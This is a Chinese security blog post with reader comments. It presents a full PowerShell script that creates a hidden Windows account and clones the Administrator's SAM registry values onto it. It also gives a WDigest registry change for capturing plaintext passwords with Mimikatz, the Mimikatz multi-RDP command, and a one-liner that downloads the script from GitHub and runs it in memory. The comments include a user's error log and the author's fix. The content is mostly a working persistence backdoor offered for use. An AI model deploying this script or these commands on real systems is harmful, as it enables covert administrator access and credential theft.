你能找到我么?-- 隐藏用户建立(Powershell)
in 奇技淫巧 with 4 comments

你能找到我么?-- 隐藏用户建立(Powershell)

in 奇技淫巧 with 4 comments

最近做测试的时候发现,windows server2012 使用Mimikatz是直接抓不到明文密码的,而且,直接创建的账号登陆有时会碰到这个问题:
1.jpg

ps:2012抓明文需要HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"设置为1,类型为DWORD 32才可以,然后下次用户再登录,才能记录到明文密码。

后来发现以前的建立克隆账号的方式是可以使得新建的账号登陆系统的,为了方便,整理了一个powershell脚本,脚本可以自动修改注册表键值权限(需要用administrator权限运行,即bypassuac以后的权限),之后在进行操作。具体代码如下:

function Create-Clone
{
<#
.SYNOPSIS
This script requires Administrator privileges. use Invoke-TokenManipulation.ps1 to get system privileges and create the clone user.
.PARAMETER u
The clone username
.PARAMETER p
The clone user's password
.PARAMETER cu
The user to clone, default administrator 
.EXAMPLE
Create-Clone -u evi1cg -p evi1cg123 -cu administrator
#>
    Param(
        [Parameter(Mandatory=$true)]
        [String]
        $u,
  
        [Parameter(Mandatory=$true)]
        [String]
        $p,
  
        [Parameter(Mandatory=$false)]
        [String]
        $cu = "administrator"
    )
    function upReg{
        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM [1 17]"| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [1 17]" | Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [1 17] "| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [1 17] "| Out-File -Append  $env:temp\up.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [1 17]"| Out-File -Append  $env:temp\up.ini
        cmd /c "regini $env:temp\up.ini"
        Remove-Item $env:temp\up.ini
      
    }
    function downreg {
        "HKEY_LOCAL_MACHINE\SAM [1 17]" | Out-File $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM [17]"| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains [17]" | Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account [17] "| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users [17] "| Out-File -Append  $env:temp\down.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names [17]"| Out-File -Append  $env:temp\down.ini
        cmd /c "regini $env:temp\down.ini"
        Remove-Item $env:temp\down.ini
    }
    function Create-user ([string]$Username,[string]$Password) {
        $group = "Administrators"
        $existing = Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$Username"
        if (!$existing) {
            Write-Host "[*] Creating new local user $Username with password $Password"
            & NET USER $Username $Password /add /y /expires:never | Out-Null
            Write-Host "[*] Adding local user $Username to $group."
            & NET LOCALGROUP $group $Username /add | Out-Null
              
        }
        else {
            Write-Host "[*] Adding existing user $Username to $group."
            & NET LOCALGROUP $group $Username /add | Out-Null
            $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
            $exist = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
            Write-Host "[*] Setting password for existing local user $Username"
            $exist.SetPassword($Password) 
        }
  
        Write-Host "[*] Ensuring password for $Username never expires."
        & WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE   | Out-Null  
    }
    function GetUser-Key([string]$user)
    {
        cmd /c " echo HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user [1 17] >> $env:temp\$user.ini"
        cmd /c "regini $env:temp\$user.ini"
        Remove-Item $env:temp\$user.ini
        if(Test-Path -Path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$user"){
            cmd /c "regedit /e $env:temp\$user.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\$user""
            $file = Get-Content "$env:temp\$user.reg"  | Out-String
            $pattern="@=hex\((.*?)\)\:"
            $file -match $pattern |Out-Null
            $key = "00000"+$matches[1]
            Write-Host "[!]"$key
            return $key
        }else {
            Write-Host "[-] SomeThing Wrong !"
        }
          
    }
    function Clone ([string]$ukey,[string]$cukey) {
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey [1 17] "| Out-File $env:temp\f.ini
        "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$cukey [1 17] " | Out-File $env:temp\f.ini
        cmd /c " regini $env:temp\f.ini"
        Remove-Item $env:temp\f.ini
        $ureg = "HKLM:\SAM\SAM\Domains\Account\Users\$ukey" |Out-String
        $cureg = "HKLM:\SAM\SAM\Domains\Account\Users\$cukey" |Out-String
        Write-Host "[*] Get clone user'F value"
        $cuFreg = Get-Item -Path $cureg.Trim()
        $cuFvalue = $cuFreg.GetValue('F')
        Write-Host "[*] Change user'F value"
        Set-ItemProperty -path $ureg.Trim()  -Name "F" -value $cuFvalue
        $outreg = "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\$ukey"
        cmd /c "regedit /e $env:temp\out.reg $outreg.Trim()"
    }
    function Main () {
        if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator"))
        {
            Write-Output "Script must be run as administrator" 
            break
        }
        Write-Output "[*] Start"
        Write-Output "[*] Tring to change reg privilege !"
        upReg
        if( !(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$cu")){
            Write-Host "[-] The User to Clone does not exist !"
            Write-Output "[*] Change reg privilege back !"
            downReg
            Write-Output "[*] Exiting !"
        }
        else {
            if(!(Test-Path -path "HKLM:\SAM\SAM\Domains\Account\Users\Names\$u")){
                $tmp = "1"
            }
            else{
                $tmp = "0"
            }
            Write-Output "[*] Create User..."
            Create-user $u $p
            Write-Output "[*] Get User $u's  Key .."
            $ukey = GetUser-Key $u |Out-String
            Write-Output "[*] Get User $cu's  Key .."
            $cukey = GetUser-Key $cu |Out-String
            Write-Output "[*] Clone User.."
            Clone $ukey $cukey
            if($tmp -eq 1 ){
                Write-Output "[*] Delete User.."
                cmd /c "net User $u /del " |Out-Null
            }else{ Write-Output "[*] Don't need to delete.."}
            cmd /c "regedit /s $env:temp\$u.reg"
            cmd /c "regedit /s $env:temp\out.reg"
            Remove-Item $env:temp\*.reg
            Write-Output "[*] Change reg privilege back !"
            downreg
            Write-Output "[*] Done"
        }      
    }
    Main
}

GITHUB:

新建账号以后,可成功登陆系统

2.jpg

在Win7上做的测试如下:

demo

当然可以配合这个姿势来实现多用户登陆。

使用mimikatz.exe,执行ts::multirdp允许多用户远程登录

ps:该方法在系统重启后失效,下次使用需要重新执行命令ts::multirdp,也可通过修改文件termsrv.dll实现永久修改

最后是远程执行的方式:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Create-Clone.ps1'); Create-Clone -u demo$ -p test123 
Responses
  1. Jet

    c:\Users\User\Desktop>powershell -nop -exec bypass
    Windows PowerShell
    Copyright (C) 2013 Microsoft Corporation. All rights reserved.

    PS C:\Users\User\Desktop> Import-Module .\Create-Clone.ps1
    PS C:\Users\User\Desktop> Create-Clone -u 1$ -p [email protected] -cu administrator
    [*] Start
    [*] Tring to change reg privilege !
    [*] Create User...
    [*] Creating new local user 1$ with password [email protected]
    [*] Adding local user 1$ to Administrators.
    [*] Ensuring password for 1$ never expires.
    [*] Get User 1$'s Key ..
    [!] 000003f1
    [*] Get User administrator's Key ..
    Get-Content : Cannot find path
    'C:\Users\User\AppData\Local\Temp\administrator.reg' because it does not exist.
    At C:\Users\User\Desktop\Create-Clone.ps1:73 char:21
    + $file = Get-Content "$env:temp\$user.reg" | Out-String
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : ObjectNotFound: (C:\Users\User\A...ministrator.r
    eg:String) [Get-Content], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetCo
    ntentCommand

    Cannot index into a null array.
    At C:\Users\User\Desktop\Create-Clone.ps1:76 char:13
    + $key = "00000"+$matches[1]
    + ~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo : InvalidOperation: (:) [], RuntimeException
    + FullyQualifiedErrorId : NullArray

    [!]
    [*] Clone User..
    [*] Get clone user'F value
    [*] Change user'F value
    [*] Delete User..
    [*] Change reg privilege back !
    [*] Done

    大神你好,我也是剛剛在VM 的SERVER 2012R2 試,可是我得出了以下錯誤求指導,
    還有本人想學安全滲透測試,可是沒基楚,自己在網路上亂抓一堆而已,想請大神推薦一些網站或書籍 從0學起,可以嗎..謝謝.

    Reply
    1. @Jet

      不好意思 之前的脚本有点小问题,已经修改了,你可以在测试一下~

      Reply
      1. dsgvsn
        @Evi1cg

        我也是同样的问题

        Reply
        1. @dsgvsn

          应该可以用了吧。 具体什么错误?

          Reply